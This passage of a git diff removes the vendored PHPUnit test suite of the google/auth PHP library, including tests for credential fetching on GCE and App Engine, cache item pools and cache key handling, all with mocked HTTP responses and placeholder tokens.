simulate not being GCE by return 500 - $httpHandler = getHandler([ - buildResponse(500), - ]); - - ApplicationDefaultCredentials::getSubscriber('a scope', $httpHandler); - } - - public function testWithCacheOptions() - { - $keyFile = __DIR__ . '/fixtures' . '/private.json'; - putenv(ServiceAccountCredentials::ENV_VAR . '=' . $keyFile); - - $httpHandler = getHandler([ - buildResponse(200), - ]); - - $cacheOptions = []; - $cachePool = $this->prophesize('Psr\Cache\CacheItemPoolInterface'); - - $subscriber = ApplicationDefaultCredentials::getSubscriber( - 'a scope', - $httpHandler, - $cacheOptions, - $cachePool->reveal() - ); - } - - public function testSuccedsIfNoDefaultFilesButIsOnGCE() - { - $wantedTokens = [ - 'access_token' => '1/abdef1234567890', - 'expires_in' => '57', - 'token_type' => 'Bearer', - ]; - $jsonTokens = json_encode($wantedTokens); - - // simulate the response from GCE. - $httpHandler = getHandler([ - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - buildResponse(200, [], Utils::streamFor($jsonTokens)), - ]); - - $this->assertNotNull(ApplicationDefaultCredentials::getSubscriber('a scope', $httpHandler)); - } -} diff --git a/vendor/google/auth/tests/BaseTest.php b/vendor/google/auth/tests/BaseTest.php deleted file mode 100644 index f4fe6247c3..0000000000 --- a/vendor/google/auth/tests/BaseTest.php +++ /dev/null @@ -1,58 +0,0 @@ -getGuzzleMajorVersion() !== 5) { - $this->markTestSkipped('Guzzle 5 only'); - } - } - - protected function onlyGuzzle6() - { - if ($this->getGuzzleMajorVersion() !== 6) { - $this->markTestSkipped('Guzzle 6 only'); - } - } - - protected function onlyGuzzle6And7() - { - if (!in_array($this->getGuzzleMajorVersion(), [6, 7])) { - $this->markTestSkipped('Guzzle 6 and 7 only'); - } - } - - protected function onlyGuzzle7() - { - if ($this->getGuzzleMajorVersion() !== 7) { - $this->markTestSkipped('Guzzle 7 only'); - } - } - - protected function getGuzzleMajorVersion() - { - if (defined('GuzzleHttp\ClientInterface::MAJOR_VERSION')) { - return ClientInterface::MAJOR_VERSION; - } - - if (defined('GuzzleHttp\ClientInterface::VERSION')) { - return (int) substr(ClientInterface::VERSION, 0, 1); - } - - $this->fail('Unable to determine the currently used Guzzle Version'); - } - - /** - * @see Google\Auth\$this->getValidKeyName - */ - public function getValidKeyName($key) - { - return preg_replace('|[^a-zA-Z0-9_\.! ]|', '', $key); - } -} diff --git a/vendor/google/auth/tests/Cache/ItemTest.php b/vendor/google/auth/tests/Cache/ItemTest.php deleted file mode 100644 index 284a7de7e9..0000000000 --- a/vendor/google/auth/tests/Cache/ItemTest.php +++ /dev/null @@ -1,126 +0,0 @@ -assertEquals($key, $this->getItem($key)->getKey()); - } - - public function testGetsNull() - { - $item = $this->getItem('item'); - - $this->assertNull($item->get()); - $this->assertFalse($item->isHit()); - } - - public function testGetsValue() - { - $value = 'value'; - $item = $this->getItem('item'); - $item->set($value); - - $this->assertEquals('value', $item->get()); - } - - /** - * @dataProvider values - */ - public function testSetsValue($value) - { - $item = $this->getItem('item'); - $item->set($value); - - $this->assertEquals($value, $item->get()); - } - - public function values() - { - return [ - [1], - [1.5], - [true], - [null], - [new \DateTime()], - [['test']], - ['value'] - ]; - } - - public function testIsHit() - { - $item = $this->getItem('item'); - - $this->assertFalse($item->isHit()); - - $item->set('value'); - - $this->assertTrue($item->isHit()); - } - - public function testExpiresAt() - { - $item = $this->getItem('item'); - $item->set('value'); - $item->expiresAt(new \DateTime('now + 1 hour')); - - $this->assertTrue($item->isHit()); - - $item->expiresAt(null); - - $this->assertTrue($item->isHit()); - - $item->expiresAt(new \DateTime('yesterday')); - - $this->assertFalse($item->isHit()); - } - - public function testExpiresAfter() - { - $item = $this->getItem('item'); - $item->set('value'); - $item->expiresAfter(30); - - $this->assertTrue($item->isHit()); - - $item->expiresAfter(0); - - $this->assertFalse($item->isHit()); - - $item->expiresAfter(new \DateInterval('PT30S')); - - $this->assertTrue($item->isHit()); - - $item->expiresAfter(null); - - $this->assertTrue($item->isHit()); - } -} diff --git a/vendor/google/auth/tests/Cache/MemoryCacheItemPoolTest.php b/vendor/google/auth/tests/Cache/MemoryCacheItemPoolTest.php deleted file mode 100644 index 4fdec90ece..0000000000 --- a/vendor/google/auth/tests/Cache/MemoryCacheItemPoolTest.php +++ /dev/null @@ -1,222 +0,0 @@ -pool = new MemoryCacheItemPool(); - } - - public function saveItem($key, $value) - { - $item = $this->pool->getItem($key); - $item->set($value); - $this->assertTrue($this->pool->save($item)); - - return $item; - } - - public function testGetsFreshItem() - { - $item = $this->pool->getItem('item'); - - $this->assertInstanceOf('Google\Auth\Cache\Item', $item); - $this->assertNull($item->get()); - $this->assertFalse($item->isHit()); - } - - public function testGetsExistingItem() - { - $key = 'item'; - $value = 'value'; - $this->saveItem($key, $value); - $item = $this->pool->getItem($key); - - $this->assertInstanceOf('Google\Auth\Cache\Item', $item); - $this->assertEquals($value, $item->get()); - $this->assertTrue($item->isHit()); - } - - public function testGetsMultipleItems() - { - $keys = ['item1', 'item2']; - $items = $this->pool->getItems($keys); - - $this->assertEquals($keys, array_keys($items)); - $this->assertContainsOnlyInstancesOf('Google\Auth\Cache\Item', $items); - } - - public function testHasItem() - { - $existsKey = 'does-exist'; - $this->saveItem($existsKey, 'value'); - - $this->assertTrue($this->pool->hasItem($existsKey)); - $this->assertFalse($this->pool->hasItem('does-not-exist')); - } - - public function testClear() - { - $key = 'item'; - $this->saveItem($key, 'value'); - - $this->assertTrue($this->pool->hasItem($key)); - $this->assertTrue($this->pool->clear()); - $this->assertFalse($this->pool->hasItem($key)); - } - - public function testDeletesItem() - { - $key = 'item'; - $this->saveItem($key, 'value'); - - $this->assertTrue($this->pool->deleteItem($key)); - $this->assertFalse($this->pool->hasItem($key)); - } - - public function testDeletesItems() - { - $keys = ['item1', 'item2']; - - foreach ($keys as $key) { - $this->saveItem($key, 'value'); - } - - $this->assertTrue($this->pool->deleteItems($keys)); - $this->assertFalse($this->pool->hasItem($keys[0])); - $this->assertFalse($this->pool->hasItem($keys[1])); - } - - public function testDoesNotDeleteItemsWithInvalidKey() - { - $keys = ['item1', '{item2}', 'item3']; - $value = 'value'; - $this->saveItem($keys[0], $value); - $this->saveItem($keys[2], $value); - - try { - $this->pool->deleteItems($keys); - } catch (InvalidArgumentException $ex) { - // continue execution - } - - $this->assertTrue($this->pool->hasItem($keys[0])); - $this->assertTrue($this->pool->hasItem($keys[2])); - } - - public function testSavesItem() - { - $key = 'item'; - $this->saveItem($key, 'value'); - - $this->assertTrue($this->pool->hasItem($key)); - } - - public function testSavesDeferredItem() - { - $item = $this->pool->getItem('item'); - $this->assertTrue($this->pool->saveDeferred($item)); - } - - public function testCommitsDeferredItems() - { - $keys = ['item1', 'item2']; - - foreach ($keys as $key) { - $item = $this->pool->getItem($key); - $item->set('value'); - $this->pool->saveDeferred($item); - } - - $this->assertTrue($this->pool->commit()); - $this->assertTrue($this->pool->hasItem($keys[0])); - $this->assertTrue($this->pool->hasItem($keys[1])); - } - - /** - * @expectedException \Psr\Cache\InvalidArgumentException - * @dataProvider invalidKeys - */ - public function testCheckInvalidKeysOnGetItem($key) - { - $this->pool->getItem($key); - } - - /** - * @expectedException \Psr\Cache\InvalidArgumentException - * @dataProvider invalidKeys - */ - public function testCheckInvalidKeysOnGetItems($key) - { - $this->pool->getItems([$key]); - } - - /** - * @expectedException \Psr\Cache\InvalidArgumentException - * @dataProvider invalidKeys - */ - public function testCheckInvalidKeysOnHasItem($key) - { - $this->pool->hasItem($key); - } - - /** - * @expectedException \Psr\Cache\InvalidArgumentException - * @dataProvider invalidKeys - */ - public function testCheckInvalidKeysOnDeleteItem($key) - { - $this->pool->deleteItem($key); - } - - /** - * @expectedException \Psr\Cache\InvalidArgumentException - * @dataProvider invalidKeys - */ - public function testCheckInvalidKeysOnDeleteItems($key) - { - $this->pool->deleteItems([$key]); - } - - public function invalidKeys() - { - return [ - [1], - [true], - [null], - [new \DateTime()], - ['{'], - ['}'], - ['('], - [')'], - ['/'], - ['\\'], - ['@'], - [':'], - [[]] - ]; - } -} diff --git a/vendor/google/auth/tests/Cache/SysVCacheItemPoolTest.php b/vendor/google/auth/tests/Cache/SysVCacheItemPoolTest.php deleted file mode 100644 index 33da17c294..0000000000 --- a/vendor/google/auth/tests/Cache/SysVCacheItemPoolTest.php +++ /dev/null @@ -1,160 +0,0 @@ -markTestSkipped( - 'sysvshm extension is required for running the test' - ); - } - $this->pool = new SysVCacheItemPool(['variableKey' => 99]); - $this->pool->clear(); - } - - public function saveItem($key, $value) - { - $item = $this->pool->getItem($key); - $item->set($value); - $this->assertTrue($this->pool->save($item)); - - return $item; - } - - public function testGetsFreshItem() - { - $item = $this->pool->getItem('item'); - - $this->assertInstanceOf('Google\Auth\Cache\Item', $item); - $this->assertNull($item->get()); - $this->assertFalse($item->isHit()); - } - - public function testCacheAmongProcesses() - { - $expectedValue = 'val-' . rand(); - exec(sprintf('php %s/sysv_cache_creator.php %s', __DIR__, $expectedValue)); - $this->assertEquals( - $expectedValue, - $this->pool->getItem('separate-process-item')->get() - ); - } - - public function testGetsExistingItem() - { - $key = 'item'; - $value = 'value'; - $this->saveItem($key, $value); - $item = $this->pool->getItem($key); - - $this->assertInstanceOf('Google\Auth\Cache\Item', $item); - $this->assertEquals($value, $item->get()); - $this->assertTrue($item->isHit()); - } - - public function testGetsMultipleItems() - { - $keys = ['item1', 'item2']; - $items = $this->pool->getItems($keys); - - $this->assertEquals($keys, array_keys($items)); - $this->assertContainsOnlyInstancesOf('Google\Auth\Cache\Item', $items); - } - - public function testHasItem() - { - $existsKey = 'does-exist'; - $this->saveItem($existsKey, 'value'); - - $this->assertTrue($this->pool->hasItem($existsKey)); - $this->assertFalse($this->pool->hasItem('does-not-exist')); - } - - public function testClear() - { - $key = 'item'; - $this->saveItem($key, 'value'); - - $this->assertTrue($this->pool->hasItem($key)); - $this->assertTrue($this->pool->clear()); - $this->assertFalse($this->pool->hasItem($key)); - } - - public function testDeletesItem() - { - $key = 'item'; - $this->saveItem($key, 'value'); - - $this->assertTrue($this->pool->deleteItem($key)); - $this->assertFalse($this->pool->hasItem($key)); - } - - public function testDeletesItems() - { - $keys = ['item1', 'item2']; - - foreach ($keys as $key) { - $this->saveItem($key, 'value'); - } - - $this->assertTrue($this->pool->deleteItems($keys)); - $this->assertFalse($this->pool->hasItem($keys[0])); - $this->assertFalse($this->pool->hasItem($keys[1])); - } - - public function testSavesItem() - { - $key = 'item'; - $this->saveItem($key, 'value'); - - $this->assertTrue($this->pool->hasItem($key)); - } - - public function testSavesDeferredItem() - { - $item = $this->pool->getItem('item'); - $this->assertTrue($this->pool->saveDeferred($item)); - } - - public function testCommitsDeferredItems() - { - $keys = ['item1', 'item2']; - - foreach ($keys as $key) { - $item = $this->pool->getItem($key); - $item->set('value'); - $this->pool->saveDeferred($item); - } - - $this->assertTrue($this->pool->commit()); - $this->assertTrue($this->pool->hasItem($keys[0])); - $this->assertTrue($this->pool->hasItem($keys[1])); - $this->assertEquals( - $item->get(), - $this->pool->getItem($keys[1])->get() - ); - } -} diff --git a/vendor/google/auth/tests/Cache/sysv_cache_creator.php b/vendor/google/auth/tests/Cache/sysv_cache_creator.php deleted file mode 100644 index ada944bfe7..0000000000 --- a/vendor/google/auth/tests/Cache/sysv_cache_creator.php +++ /dev/null @@ -1,30 +0,0 @@ - 99]); -$item = new Item('separate-process-item'); -$item->set($value); -$pool->save($item); diff --git a/vendor/google/auth/tests/CacheTraitTest.php b/vendor/google/auth/tests/CacheTraitTest.php deleted file mode 100644 index d31bac1026..0000000000 --- a/vendor/google/auth/tests/CacheTraitTest.php +++ /dev/null @@ -1,194 +0,0 @@ -mockFetcher = $this->prophesize('Google\Auth\FetchAuthTokenInterface'); - $this->mockCacheItem = $this->prophesize('Psr\Cache\CacheItemInterface'); - $this->mockCache = $this->prophesize('Psr\Cache\CacheItemPoolInterface'); - } - - public function testSuccessfullyPullsFromCache() - { - $expectedValue = '1234'; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($expectedValue); - $this->mockCache->getItem(Argument::type('string')) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - - $implementation = new CacheTraitImplementation([ - 'cache' => $this->mockCache->reveal(), - ]); - - $cachedValue = $implementation->gCachedValue(); - $this->assertEquals($expectedValue, $cachedValue); - } - - public function testSuccessfullyPullsFromCacheWithInvalidKey() - { - $key = 'this-key-has-@-illegal-characters'; - $expectedKey = 'thiskeyhasillegalcharacters'; - $expectedValue = '1234'; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($expectedValue); - $this->mockCache->getItem($expectedKey) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - - $implementation = new CacheTraitImplementation([ - 'cache' => $this->mockCache->reveal(), - 'key' => $key, - ]); - - $cachedValue = $implementation->gCachedValue(); - $this->assertEquals($expectedValue, $cachedValue); - } - - public function testSuccessfullyPullsFromCacheWithLongKey() - { - $key = 'this-key-is-over-64-characters-and-it-will-still-work' - . '-but-it-will-be-hashed-and-shortened'; - $expectedKey = str_replace('-', '', $key); - $expectedKey = substr(hash('sha256', $expectedKey), 0, 64); - $expectedValue = '1234'; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($expectedValue); - $this->mockCache->getItem($expectedKey) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - - $implementation = new CacheTraitImplementation([ - 'cache' => $this->mockCache->reveal(), - 'key' => $key - ]); - - $cachedValue = $implementation->gCachedValue(); - $this->assertEquals($expectedValue, $cachedValue); - } - - public function testFailsPullFromCacheWithNoCache() - { - $implementation = new CacheTraitImplementation(); - - $cachedValue = $implementation->gCachedValue(); - $this->assertEquals(null, $cachedValue); - } - - public function testFailsPullFromCacheWithoutKey() - { - $implementation = new CacheTraitImplementation([ - 'cache' => $this->mockCache->reveal(), - 'key' => null, - ]); - - $cachedValue = $implementation->gCachedValue(); - } - - public function testSuccessfullySetsToCache() - { - $value = '1234'; - $this->mockCacheItem->set($value) - ->shouldBeCalled(); - $this->mockCacheItem->expiresAfter(Argument::any()) - ->shouldBeCalled(); - $this->mockCache->getItem('key') - ->willReturn($this->mockCacheItem->reveal()); - $this->mockCache->save(Argument::type('Psr\Cache\CacheItemInterface')) - ->shouldBeCalled(); - - $implementation = new CacheTraitImplementation([ - 'cache' => $this->mockCache->reveal(), - ]); - - $implementation->sCachedValue($value); - } - - public function testFailsSetToCacheWithNoCache() - { - $implementation = new CacheTraitImplementation(); - - $implementation->sCachedValue('1234'); - - $cachedValue = $implementation->sCachedValue('1234'); - $this->assertNull($cachedValue); - } - - public function testFailsSetToCacheWithoutKey() - { - $implementation = new CacheTraitImplementation([ - 'cache' => $this->mockCache, - 'key' => null, - ]); - - $cachedValue = $implementation->sCachedValue('1234'); - $this->assertNull($cachedValue); - } -} - -class CacheTraitImplementation -{ - use CacheTrait; - - private $cache; - private $cacheConfig; - - public function __construct(array $config = []) - { - $this->key = array_key_exists('key', $config) ? $config['key'] : 'key'; - $this->cache = isset($config['cache']) ? $config['cache'] : null; - $this->cacheConfig = [ - 'prefix' => '', - 'lifetime' => 1000, - ]; - } - - // allows us to keep trait methods private - public function gCachedValue() - { - return $this->getCachedValue($this->key); - } - - public function sCachedValue($v) - { - $this->setCachedValue($this->key, $v); - } -} diff --git a/vendor/google/auth/tests/Credentials/AppIdentityCredentialsTest.php b/vendor/google/auth/tests/Credentials/AppIdentityCredentialsTest.php deleted file mode 100644 index 009b2934f9..0000000000 --- a/vendor/google/auth/tests/Credentials/AppIdentityCredentialsTest.php +++ /dev/null @@ -1,246 +0,0 @@ -assertFalse(AppIdentityCredentials::onAppEngine()); - } - - /** - * @runInSeparateProcess - */ - public function testOnAppEngineIsTrueWhenServerSoftwareIsGoogleAppEngine() - { - $this->imitateInAppEngine(); - $this->assertTrue(AppIdentityCredentials::onAppEngine()); - } - - /** - * @runInSeparateProcess - */ - public function testOnAppEngineIsTrueWhenAppEngineRuntimeIsPhp() - { - $this->imitateInAppEngine(); - $this->assertTrue(AppIdentityCredentials::onAppEngine()); - } - - /** - * @runInSeparateProcess - */ - public function testOnAppEngineIsTrueInDevelopmentServer() - { - $_SERVER['APPENGINE_RUNTIME'] = 'php'; - $this->assertTrue(AppIdentityCredentials::onAppEngine()); - } - - public function testGetCacheKeyShouldBeEmpty() - { - $g = new AppIdentityCredentials(); - $this->assertEmpty($g->getCacheKey()); - } - - public function testFetchAuthTokenShouldBeEmptyIfNotOnAppEngine() - { - $g = new AppIdentityCredentials(); - $this->assertEquals(array(), $g->fetchAuthToken()); - } - - /* @expectedException */ - public function testThrowsExceptionIfClassDoesntExist() - { - $_SERVER['SERVER_SOFTWARE'] = 'Google App Engine'; - $g = new AppIdentityCredentials(); - } - - /** - * @runInSeparateProcess - */ - public function testFetchAuthTokenReturnsExpectedToken() - { - $this->imitateInAppEngine(); - - $wantedToken = [ - 'access_token' => '1/abdef1234567890', - 'expires_in' => '57', - 'token_type' => 'Bearer', - ]; - - AppIdentityService::$accessToken = $wantedToken; - - $g = new AppIdentityCredentials(); - $this->assertEquals($wantedToken, $g->fetchAuthToken()); - } - - /** - * @runInSeparateProcess - */ - public function testScopeIsAlwaysArray() - { - $this->imitateInAppEngine(); - - $scope1 = ['scopeA', 'scopeB']; - $scope2 = 'scopeA scopeB'; - $scope3 = 'scopeA'; - - $g = new AppIdentityCredentials($scope1); - $g->fetchAuthToken(); - $this->assertEquals($scope1, AppIdentityService::$scope); - - $g = new AppIdentityCredentials($scope2); - $g->fetchAuthToken(); - $this->assertEquals(explode(' ', $scope2), AppIdentityService::$scope); - - $g = new AppIdentityCredentials($scope3); - $g->fetchAuthToken(); - $this->assertEquals([$scope3], AppIdentityService::$scope); - } - - /** - * @dataProvider appEngineRequired - */ - public function testMethodsFailWhenNotInAppEngine($method, $args = [], $expected = null) - { - if ($expected === null) { - if (method_exists($this, 'expectException')) { - $this->expectException('\Exception'); - } else { - $this->setExpectedException('\Exception'); - } - } - - $creds = new AppIdentityCredentials(); - $res = call_user_func_array([$creds, $method], $args); - - if ($expected) { - $this->assertEquals($expected, $res); - } - } - - public function appEngineRequired() - { - return [ - ['fetchAuthToken', [], []], - ['signBlob', ['foo']], - ['getClientName'] - ]; - } - - /** - * @runInSeparateProcess - */ - public function testSignBlob() - { - $this->imitateInAppEngine(); - - $creds = new AppIdentityCredentials(); - $string = 'test'; - $res = $creds->signBlob($string); - - $this->assertEquals(base64_encode('Signed: ' . $string), $res); - } - - /** - * @runInSeparateProcess - */ - public function testGetClientName() - { - $this->imitateInAppEngine(); - - $creds = new AppIdentityCredentials(); - - $expected = 'foobar'; - AppIdentityService::$serviceAccountName = $expected; - - $this->assertEquals($expected, $creds->getClientName()); - - AppIdentityService::$serviceAccountName = 'notreturned'; - $this->assertEquals($expected, $creds->getClientName()); - } - - public function testGetLastReceivedTokenNullByDefault() - { - $creds = new AppIdentityCredentials(); - $this->assertNull($creds->getLastReceivedToken()); - } - - /** - * @runInSeparateProcess - */ - public function testGetLastReceviedTokenCaches() - { - $this->imitateInAppEngine(); - - $creds = new AppIdentityCredentials(); - - $wantedToken = [ - 'access_token' => '1/abdef1234567890', - 'expires_in' => '57', - 'expiration_time' => time() + 57, - 'token_type' => 'Bearer', - ]; - - AppIdentityService::$accessToken = $wantedToken; - - $creds->fetchAuthToken(); - - $this->assertEquals([ - 'access_token' => $wantedToken['access_token'], - 'expires_at' => $wantedToken['expiration_time'] - ], $creds->getLastReceivedToken()); - } - - /** - * @runInSeparateProcess - */ - public function testGetProjectId() - { - $this->imitateInAppEngine(); - - $projectId = 'foobar'; - AppIdentityService::$applicationId = $projectId; - $this->assertEquals($projectId, (new AppIdentityCredentials())->getProjectId()); - } - - public function testGetProjectOutsideAppEngine() - { - $this->assertNull((new AppIdentityCredentials())->getProjectId()); - } - - private function imitateInAppEngine() - { - // include the mock AppIdentityService class - require_once __DIR__ . '/../mocks/AppIdentityService.php'; - $_SERVER['SERVER_SOFTWARE'] = 'Google App Engine'; - // $_SERVER['APPENGINE_RUNTIME'] = 'php'; - } -} diff --git a/vendor/google/auth/tests/Credentials/GCECredentialsTest.php b/vendor/google/auth/tests/Credentials/GCECredentialsTest.php deleted file mode 100644 index be0f237b61..0000000000 --- a/vendor/google/auth/tests/Credentials/GCECredentialsTest.php +++ /dev/null @@ -1,470 +0,0 @@ -getHeaderLine(GCECredentials::FLAVOR_HEADER) === 'Google'; - - return new Psr7\Response(200, [GCECredentials::FLAVOR_HEADER => 'Google']); - }; - - $onGce = GCECredentials::onGce($dummyHandler); - $this->assertTrue($hasHeader); - $this->assertTrue($onGce); - } - - public function testOnGCEIsFalseOnClientErrorStatus() - { - // simulate retry attempts by returning multiple 400s - $httpHandler = getHandler([ - buildResponse(400), - buildResponse(400), - buildResponse(400) - ]); - $this->assertFalse(GCECredentials::onGCE($httpHandler)); - } - - public function testOnGCEIsFalseOnServerErrorStatus() - { - // simulate retry attempts by returning multiple 500s - $httpHandler = getHandler([ - buildResponse(500), - buildResponse(500), - buildResponse(500) - ]); - $this->assertFalse(GCECredentials::onGCE($httpHandler)); - } - - public function testOnGCEIsFalseOnOkStatusWithoutExpectedHeader() - { - $httpHandler = getHandler([ - buildResponse(200), - ]); - $this->assertFalse(GCECredentials::onGCE($httpHandler)); - } - - public function testOnGCEIsOkIfGoogleIsTheFlavor() - { - $httpHandler = getHandler([ - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - ]); - $this->assertTrue(GCECredentials::onGCE($httpHandler)); - } - - public function testOnAppEngineFlexIsFalseByDefault() - { - $this->assertFalse(GCECredentials::onAppEngineFlexible()); - } - - public function testOnAppEngineFlexIsTrueWhenGaeInstanceHasAefPrefix() - { - putenv('GAE_INSTANCE=aef-default-20180313t154438'); - $this->assertTrue(GCECredentials::onAppEngineFlexible()); - putenv('GAE_INSTANCE'); - } - - public function testGetCacheKeyShouldNotBeEmpty() - { - $g = new GCECredentials(); - $this->assertNotEmpty($g->getCacheKey()); - } - - public function testFetchAuthTokenShouldBeEmptyIfNotOnGCE() - { - // simulate retry attempts by returning multiple 500s - $httpHandler = getHandler([ - buildResponse(500), - buildResponse(500), - buildResponse(500) - ]); - $g = new GCECredentials(); - $this->assertEquals(array(), $g->fetchAuthToken($httpHandler)); - } - - /** - * @expectedException Exception - * @expectedExceptionMessage Invalid JSON response - */ - public function testFetchAuthTokenShouldFailIfResponseIsNotJson() - { - $notJson = '{"foo": , this is cannot be passed as json" "bar"}'; - $httpHandler = getHandler([ - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - buildResponse(200, [], $notJson), - ]); - $g = new GCECredentials(); - $g->fetchAuthToken($httpHandler); - } - - public function testFetchAuthTokenShouldReturnTokenInfo() - { - $wantedTokens = [ - 'access_token' => '1/abdef1234567890', - 'expires_in' => '57', - 'token_type' => 'Bearer', - ]; - $jsonTokens = json_encode($wantedTokens); - $httpHandler = getHandler([ - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - buildResponse(200, [], Utils::streamFor($jsonTokens)), - ]); - $g = new GCECredentials(); - $receivedToken = $g->fetchAuthToken($httpHandler); - $this->assertEquals( - $wantedTokens['access_token'], - $receivedToken['access_token'] - ); - $this->assertEquals(time() + 57, $receivedToken['expires_at']); - $this->assertEquals(time() + 57, $g->getLastReceivedToken()['expires_at']); - } - - public function testFetchAuthTokenShouldBeIdTokenWhenTargetAudienceIsSet() - { - $expectedToken = ['id_token' => 'idtoken12345']; - $timesCalled = 0; - $httpHandler = function ($request) use (&$timesCalled, $expectedToken) { - $timesCalled++; - if ($timesCalled == 1) { - return new Psr7\Response(200, [GCECredentials::FLAVOR_HEADER => 'Google']); - } - $this->assertEquals( - '/computeMetadata/' . GCECredentials::ID_TOKEN_URI_PATH, - $request->getUri()->getPath() - ); - $this->assertEquals( - 'audience=a+target+audience', - $request->getUri()->getQuery() - ); - return new Psr7\Response(200, [], Utils::streamFor($expectedToken['id_token'])); - }; - $g = new GCECredentials(null, null, 'a+target+audience'); - $this->assertEquals($expectedToken, $g->fetchAuthToken($httpHandler)); - $this->assertEquals(2, $timesCalled); - } - - /** - * @expectedException InvalidArgumentException - * @expectedExceptionMessage Scope and targetAudience cannot both be supplied - */ - public function testSettingBothScopeAndTargetAudienceThrowsException() - { - $g = new GCECredentials(null, 'a-scope', 'a+target+audience'); - } - - /** - * @dataProvider scopes - */ - public function testFetchAuthTokenCustomScope($scope, $expected) - { - $this->onlyGuzzle6And7(); - - $uri = null; - $client = $this->prophesize('GuzzleHttp\ClientInterface'); - $client->send(Argument::any(), Argument::any()) - ->will(function () use (&$uri) { - $this->send(Argument::any(), Argument::any())->will(function ($args) use (&$uri) { - $uri = $args[0]->getUri(); - - return buildResponse(200, [], Utils::streamFor('{"expires_in": 0}')); - }); - - return buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']); - }); - - HttpClientCache::setHttpClient($client->reveal()); - - $g = new GCECredentials(null, $scope); - $g->fetchAuthToken(); - parse_str($uri->getQuery(), $query); - - $this->assertArrayHasKey('scopes', $query); - $this->assertEquals($expected, $query['scopes']); - } - - public function scopes() - { - return [ - ['foobar', 'foobar'], - [['foobar'], 'foobar'], - ['hello world', 'hello,world'], - [['hello', 'world'], 'hello,world'] - ]; - } - - public function testGetLastReceivedTokenIsNullByDefault() - { - $creds = new GCECredentials(); - $this->assertNull($creds->getLastReceivedToken()); - } - - public function testGetClientName() - { - $expected = 'foobar'; - - $httpHandler = getHandler([ - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - buildResponse(200, [], Utils::streamFor($expected)), - buildResponse(200, [], Utils::streamFor('notexpected')) - ]); - - $creds = new GCECredentials(); - $this->assertEquals($expected, $creds->getClientName($httpHandler)); - - // call again to test cached value - $this->assertEquals($expected, $creds->getClientName($httpHandler)); - } - - public function testGetClientNameShouldBeEmptyIfNotOnGCE() - { - // simulate retry attempts by returning multiple 500s - $httpHandler = getHandler([ - buildResponse(500), - buildResponse(500), - buildResponse(500) - ]); - - $creds = new GCECredentials(); - $this->assertEquals('', $creds->getClientName($httpHandler)); - } - - public function testSignBlob() - { - $this->onlyGuzzle6And7(); - - $expectedEmail = 'test@test.com'; - $expectedAccessToken = 'token'; - $stringToSign = 'inputString'; - $resultString = 'foobar'; - $token = [ - 'access_token' => $expectedAccessToken, - 'expires_in' => '57', - 'token_type' => 'Bearer', - ]; - - $iam = $this->prophesize('Google\Auth\Iam'); - $iam->signBlob($expectedEmail, $expectedAccessToken, $stringToSign) - ->shouldBeCalled() - ->willReturn($resultString); - - $client = $this->prophesize('GuzzleHttp\ClientInterface'); - $client->send(Argument::any(), Argument::any()) - ->willReturn( - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - buildResponse(200, [], Utils::streamFor($expectedEmail)), - buildResponse(200, [], Utils::streamFor(json_encode($token))) - ); - - HttpClientCache::setHttpClient($client->reveal()); - - $creds = new GCECredentials($iam->reveal()); - $signature = $creds->signBlob($stringToSign); - } - - public function testSignBlobWithLastReceivedAccessToken() - { - $this->onlyGuzzle6And7(); - - $expectedEmail = 'test@test.com'; - $expectedAccessToken = 'token'; - $notExpectedAccessToken = 'othertoken'; - $stringToSign = 'inputString'; - $resultString = 'foobar'; - $token1 = [ - 'access_token' => $expectedAccessToken, - 'expires_in' => '57', - 'token_type' => 'Bearer', - ]; - $token2 = [ - 'access_token' => $notExpectedAccessToken, - 'expires_in' => '57', - 'token_type' => 'Bearer', - ]; - - $iam = $this->prophesize('Google\Auth\Iam'); - $iam->signBlob($expectedEmail, $expectedAccessToken, $stringToSign) - ->shouldBeCalled() - ->willReturn($resultString); - - $client = $this->prophesize('GuzzleHttp\ClientInterface'); - $client->send(Argument::any(), Argument::any()) - ->willReturn( - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - buildResponse(200, [], Utils::streamFor(json_encode($token1))), - buildResponse(200, [], Utils::streamFor($expectedEmail)), - buildResponse(200, [], Utils::streamFor(json_encode($token2))) - ); - - HttpClientCache::setHttpClient($client->reveal()); - - $creds = new GCECredentials($iam->reveal()); - // cache a token - $creds->fetchAuthToken(); - - $signature = $creds->signBlob($stringToSign); - } - - public function testGetProjectId() - { - $this->onlyGuzzle6And7(); - - $expected = 'foobar'; - - $client = $this->prophesize('GuzzleHttp\ClientInterface'); - $client->send(Argument::any(), Argument::any()) - ->willReturn( - buildResponse(200, [GCECredentials::FLAVOR_HEADER => 'Google']), - buildResponse(200, [], Utils::streamFor($expected)), - buildResponse(200, [], Utils::streamFor('notexpected')) - ); - - HttpClientCache::setHttpClient($client->reveal()); - - $creds = new GCECredentials(); - $this->assertEquals($expected, $creds->getProjectId()); - - // call again to test cached value - $this->assertEquals($expected, $creds->getProjectId()); - } - - public function testGetProjectIdShouldBeEmptyIfNotOnGCE() - { - $this->onlyGuzzle6And7(); - - // simulate retry attempts by returning multiple 500s - $client = $this->prophesize('GuzzleHttp\ClientInterface'); - $client->send(Argument::any(), Argument::any()) - ->willReturn( - buildResponse(500), - buildResponse(500), - buildResponse(500) - ); - - HttpClientCache::setHttpClient($client->reveal()); - - $creds = new GCECredentials(); - $this->assertNull($creds->getProjectId()); - } - - public function testGetTokenUriWithServiceAccountIdentity() - { - $tokenUri = GCECredentials::getTokenUri('foo'); - $this->assertEquals( - 